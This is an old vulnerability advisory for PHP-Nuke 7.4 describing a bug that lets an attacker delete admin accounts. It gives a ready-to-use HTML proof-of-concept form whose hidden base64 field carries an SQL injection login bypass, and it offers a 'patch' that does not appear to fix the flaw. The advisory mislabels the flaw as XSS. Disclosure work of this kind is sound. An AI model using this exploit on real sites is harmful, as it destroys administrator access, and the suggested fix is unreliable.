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* CODEBUG Labs

* Advisory #2

* Title: DelAdmin Bug

* Author: Pierquinto 'Mantra' Manco

* Product: PHP-Nuke 7.4

* Type: XSS

* Web: http://www.mantralab.org

*

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Delete Admin Bug

- ) Description

PHP-Nuke is a very bugged web CMS, version 7.4 has critical

XSS bug that permit to an attacker to delete any Admin account

except God admin.

This bug is very old too but we can bypass the patch sending data

by POST instead of GET.

- ) Proof-of-Concept

Create a HTML file with this lines:

<form name="mantra" method="POST" action="http://www.sitewithphpnuke.com/admin.php">

USERNAME: <input type="text" name="del_aid">

<input type="hidden" name="admin" value="eCcgVU5JT04gU0VMRUNUIDEvKjox">

<br>

<input type="hidden" name="add_radminsuper" value="1">

<br>

<input type="hidden" name="op" value="deladminconf">

<input type="submit" name="Submit" value="Delete Admin">

<br>

</p>

</form>

- ) Patch

Apply this code to your admin.php file:

if ( !empty($HTTP_GET_VARS['op']) ) {

$op = $HTTP_GET_VARS['op'];

}

if ( !empty($HTTP_POST_VARS['op']) ) {

$op = $HTTP_POST_VARS['op'];

}

-) Note

There are a lot of this problem in PHP-Nuke 7.4, my patch will check

the content of $_POST[op] and $_GET[op].

I'm going to post all this vulnerabilities on my site...

http://www.mantralab.org

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http://www.mantralab.org

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